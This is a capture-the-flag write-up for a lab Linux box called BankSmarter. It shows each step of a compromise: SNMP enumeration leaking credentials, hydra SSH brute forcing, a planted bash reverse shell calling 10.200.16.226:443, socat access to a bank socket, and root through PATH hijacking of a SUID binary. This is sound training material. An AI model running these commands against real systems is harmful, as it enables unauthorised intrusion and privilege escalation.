BankSmarter

This is a Hack Smarter platform Linux box.

Scenario:

You are a senior operator on the Hack Smarter Red Team, tasked with a penetration test against a standalone Linux server. Your objective is to gain initial access and escalate privileges to root, emulating a worst-case scenario where a threat actor successfully compromises a critical asset.

You have been given the IP address of the target server and your mission is to gain a foothold, escalate to the root user, and retrieve the final flag from the /root/ directory.


Recon

Start rustscan and pass results of open ports to nmap to run script,version, and OS scans against them.

rustscan -a 10.1.151.245 --ulimit 5000 -- -A

Only one port open, that’s interesting. I tested with nmap again just in case.

nmap -p- -T4 10.1.151.245

Just one TCP port on this target, port 22.

SNMP

Let’s enumerate UDP ports.

nmap -sU --top-ports 50 10.1.151.245 -T4

SNMP is open.

We can enumerate snmp but first we need the community string. The SNMP Community String is essentially a simple password used to control access to the management data on an SNMP-enabled network device. We can do this with onesixtyone.

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.1.151.245

What’s within the brackets is the community string. In this case it is public.

Now we can use snmpwalk which will send SNMP GETNEXT requests to an SNMP agent. If successful, it will retrieve a complete dump of all accessible management data from the device at 10.1.151.245 that is available via the read-only community string public.

We have a string of possible credentials. How does this happen?

The OID iso.3.6.1.2.1.1.4.0 corresponds to the MIB object sysContact.0

  • Intended Purpose: The sysContact field is intended to store the textual identification of the contact person for the managed node (e.g., “John Doe, IT Admin, x1234”). It is a simple administrative field meant for human-readable information.
  • The Misconfiguration: The system administrator has inadvertently stored highly sensitive, authentication-related information—a username (Layne.Stanley) and a complex password/secret (5t6^jahTRjab')—in this field. They might have done this because it was an easy-to-access field during initial setup or mistakenly believed it to be a private or secure configuration area.

Let’s test these credentials against ssh.

ssh Layne.Stanley@10.1.151.245

Well, that didn’t work.

Password Cracking

We have credentials and it’s possible that the username is a different variation than the one listed. We can create a custom wordlist with hashcat and a custom wordlist I created.

8 basic rules. if this is not enough we can use the best64.rule and can take it a step further with OneRuleToRuleThemAll.

# add username and password to their own file.
echo 'Layne.Stanley' > user.txt
echo '5t6^jahTRjab' > pass.txt

# Create custom usernames/passwords
hashcat --stdout user.txt -r /opt/password_cracking_rules/custom_rules | sort -u > custom_users
hashcat --stdout pass.txt -r /opt/password_cracking_rules/custom_rules | sort -u > custom_passwords

# Brute force with hydra
hydra -L custom_users -P custom_passwords ssh://10.1.151.245 -t 4 -v

We got access!

Foothold

Log in via ssh. We find the user.txt file in the user’s pwd. We also find a file bankSmarter_backup.sh.

ssh layne.stanley@10.1.151.245

Our current user has read/execute permissions, the file is also owned by a user named scott.weiland.

I want to start an automated scan while I work on this manual enumeration. If all else fails, at least linpeas could search for other avenues we can attack.

# kali
cp /root/transfer/linpeas.sh .

python3 -m http.server 80

# Target
which wget

wget http://10.200.16.226/linpeas.sh

Really it found the same thing we noticed initially. The thing it does point out is that the folder is owned by me.

Lateral Movement

So we cannot modify the file because it’s owned by another user. However, the file exists within a directory our user owns. So, while we cannot modify it, we can replace it. We can do this by renaming the file, and then adding a revshell payload with the same name as the file that scott.weiland owns. That should give us a shell as the user that owns it.

# Target
mv bankSmarter_backup.sh bankSmarter_backup.sh.old

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.200.16.226/443 0>&1' > bankSmarter_backup.sh

# Kali
nc -nvlp 443

We got a shell as scott.weiland!

Checking for sudo privileges we get an error that we are not in an interactive terminal. Let’s improve our tty.

which python3 # make sure python3 in on the machine.

python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo; fg

export TERM=xterm

We do not have scott’s password so we cannot determine whether he has sudo permissions. We can get more information on scott by looking the user’s identity with the id binary.

  • uid=1001(scott.weiland)User ID. The numerical ID and username of the user.
  • gid=1001(scott.weiland)Group ID. The numerical ID and name of the user’s primary group.
  • groups=...Supplemental Groups. A comma-separated list of all other groups the user belongs to.

Our user has supplemental groups as the user ronnie.stone and some tmux groups.

These are quite some unusal groups, and likely can abuse these misconfigurations.

  • 1008(bank-team)bank-teamCritical -> Access Point. This group likely grants access to application-specific files, directories, configuration, or potentially databases related to the bank application. The next step is to use this group name to search the filesystem.
  • 1003(ronnie.stone)ronnie.stone -> Unusual/Misconfiguration. Having another user’s primary group as a supplemental group means scott.weiland has access to any files owned by ronnie.stone that are group-writable. This is a common misconfiguration for shared access.
  • 1005(tmuxshare), 1006(tmuxusers), 1007(tmuxshared) tmux related -> These groups relate to sharing sessions in tmux (a terminal multiplexer). While not inherently a vulnerability, it suggests the user or system is configured for terminal sharing, which could be used for monitoring or shared control.

Since we have group permissions to a Bank group and the name of the box is BankSmarter I want to search for all files where we could possibly read/write to. Hopefully one of these files has credentials to laterally move to another user like ronnie.

find / -group bank-team -ls 2>/dev/null

We see ronnie's ssh folder, however since the group permission does not have read/write, our current user does not inherit the permissions needed grab the ssh keys.

Checking the history file we see socat being used to connect to the bank’s internal endpoint. socat is a networking utility, and unix-connect means it is connecting to a UNIX Domain Socket at a specific path: /opt/bank/sockets/live.sock.

cat .bash_history

To connect we just need to copy and paste the socat command.

socat stdio unix-connect:/opt/bank/sockets/live.sock

We have access as ronnie. We also have a new group named bankers.

We can search for any files that belong to bankers.

find / -group bankers -ls 2>/dev/null

find /: Searches the entire filesystem, starting from the root directory.

-group bankers: This is the key filter. It limits the output to files and directories whose Group Owner is set to bankers.

-ls: Instead of just listing the paths, this prints the file’s details, including its permissions (-rw-r-----), owner, group, size, and modification time. This detail is crucial.

2>/dev/null: Suppresses “Permission denied” errors for files you can’t read, ensuring the output is clean.

There is a flle bank_backupd which has a SUID bit set. Navigating to the directory we find another file.

cd /usr/local/bin

bank_backup.py does not have a SUID bit set but we can read it.

A lot of print statements. Doesn’t really help us unless its being called.

We can execute the SUID binary to see how it works and what requirements or details it reveals to us.

/usr/local/bin/bank_backupd

We see that the bank_backup.py file is being called. Also, it’s absolute path is not specified.

Path hijacking is possible here as the python script has this !/usr/bin/env python3.

  • #! -> The “shebang” marker.
  • `/usr/bin/env -> The executable program used to launch the script. env is a utility that looks up python3 using the shell’s PATH.`
  • python3 -> The interpreter to be executed.

When bank_backupd) executes the Python script, the kernel first executes /usr/bin/env. Crucially, env then has to search the shell’s current PATH to find the location of the python3 interpreter.

We can check the paths the kernel looks for.

echo $PATH

The kernel searches in this order 1. /usr/local/sbin -> 2. /usr/local/bin/ -> 3. /usr/sbin -> 4. /usr/bin -> 5. /snap/bin

We intend to prepend /tmp path so that our “malicious” python3 is found first. it should look like this:

1./tmp 2./usr/local/sbin 3. /usr/local/bin/ 4. /usr/sbin 5. /usr/bin 6. /snap/bin

Let’s add our path.

export PATH="/tmp:$PATH"

echo $PATH # Verify /tmp is 1st.

Now we can create our fake python3 interpreter and execute the payload/

echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/python3
/usr/local/bin/bank_backupd

We can find the root.txt file in the pwd.

cd /root
cat roo.txt

Pwn3d!